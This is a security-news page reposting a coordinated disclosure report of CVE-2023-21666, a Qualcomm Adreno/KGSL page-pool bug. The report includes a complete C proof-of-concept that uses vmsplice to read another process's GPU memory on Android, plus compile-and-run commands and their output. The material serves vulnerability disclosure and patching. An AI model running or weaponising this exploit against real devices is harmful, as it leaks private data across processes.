Security
Headlines
HeadlinesLatestCVEs

Headline

Qualcomm Adreno/KGSL Data Leakage

On Qualcomm Adreno/KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don’t have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process.

Packet Storm
#google#linux#c++
Qualcomm Adreno/KGSL: pages can be freed to page pool while having GPU references [on !CONFIG_QCOM_KGSL_USE_SHMEM][Tested on a Pixel 4 again with a slightly outdated version of KGSL. I ordered a Pixel 5a but don't have it yet...]On KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process. I don't know exactly what the security impact of this is and whether it leads to privilege escalation between userspace processes, but it probably leads at least to data leakage?Testcase that demonstrates cross-process data leakage (in an artificial scenario, between two cooperating processes):#define _GNU_SOURCE#include <err.h>#include <fcntl.h>#include <unistd.h>#include <signal.h>#include <stdlib.h>#include <assert.h>#include <stdio.h>#include <sys/prctl.h>#include <sys/ioctl.h>#include <sys/mman.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})#define KGSL_IOC_TYPE 0x09enum kgsl_user_mem_type {KGSL_USER_MEM_TYPE_PMEM = 0x00000000,KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,KGSL_USER_MEM_TYPE_ADDR = 0x00000002,KGSL_USER_MEM_TYPE_ION = 0x00000003,KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,KGSL_USER_MEM_TYPE_MAX = 0x00000007,};struct kgsl_gpumem_alloc {unsigned long gpuaddr; /* output param */size_t size;unsigned int flags;};#define KGSL_MEMALIGN_SHIFT 16#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL#define KGSL_CACHEMODE_SHIFT 26#define KGSL_CACHEMODE_WRITECOMBINE 0#define KGSL_CACHEMODE_UNCACHED 1#define KGSL_CACHEMODE_WRITETHROUGH 2#define KGSL_CACHEMODE_WRITEBACK 3#define KGSL_MEMTYPE_SHIFT 8#define KGSL_MEMTYPE_OBJECTANY 0#define IOCTL_KGSL_GPUMEM_ALLOC \\_IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)struct kgsl_sharedmem_free {unsigned long gpuaddr;};#define IOCTL_KGSL_SHAREDMEM_FREE \\_IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)void child_func(void) {  int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));  for (int i=0; i<10000; i++) {    struct kgsl_gpumem_alloc kga = {      .size = 0x1000,      .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)    };    SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));    unsigned long gpuaddr = kga.gpuaddr;    //printf(\"[c] allocated 0x%lx\\", gpuaddr);    unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));    map[0] = 0xbbbb000000000000 | (i);    //printf(\"[c] mapped as %p\\", map);  }  printf(\"[c] done with spam\\");  sleep(5);}int main(void) {  setbuf(stdout, NULL);  setbuf(stderr, NULL);  int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));  struct kgsl_gpumem_alloc kga = {    .size = 0x1000,    .flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)  };  SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));  unsigned long gpuaddr = kga.gpuaddr;  printf(\"[p] allocated 0x%lx\\", gpuaddr);  unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));  map[0] = 0xaaaaaaaa;  printf(\"[p] mapped as %p\\", map);  int pipefds[2];  SYSCHK(pipe(pipefds));  struct iovec iov = {    .iov_base = map,    .iov_len = 0x1000  };  assert(SYSCHK(vmsplice(pipefds[1], &iov, 1, SPLICE_F_NONBLOCK)) == iov.iov_len);  SYSCHK(munmap(map, 0x1000));  struct kgsl_sharedmem_free arg_sf = {    .gpuaddr = gpuaddr  };  SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_SHAREDMEM_FREE, &arg_sf));  pid_t child = SYSCHK(fork());  if (child == 0) {    SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));    if (getppid() == 1)      exit(0);    child_func();    exit(0);  }  sleep(1);  unsigned long later_data;  assert(SYSCHK(read(pipefds[0], &later_data, 8)) == 8);  printf(\"[p] read 0x%lx\\", later_data);}Output:$ aarch64-linux-gnu-gcc -static -o kgsl-pool-page-uaf kgsl-pool-page-uaf.c && adb push kgsl-pool-page-uaf /data/local/tmp/ && adb shell /data/local/tmp/kgsl-pool-page-uafkgsl-pool-page-uaf: 1 file pushed, 0 skipped. 80.7 MB/s (704808 bytes in 0.008s)[p] allocated 0x500000000[p] mapped as 0x726bfc4000[p] read 0xbbbb00000000115aThis bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2023-05-09.Related CVE Numbers: CVE-2023-21666.Found by: [email protected]

Related news

CVE-2023-34167: June

Vulnerability of spoofing trustlists of Huawei desktop.Successful exploitation of this vulnerability can cause third-party apps to hide app icons on the desktop to prevent them from being uninstalled.

CVE-2023-21118: Android Security Bulletin—May 2023

In unflattenString8 of Sensor.cpp, there is a possible out of bounds read due to a heap buffer overflow. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-269014004

CVE-2023-21666

Memory Corruption in Graphics while accessing a buffer allocated through the graphics pool.

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution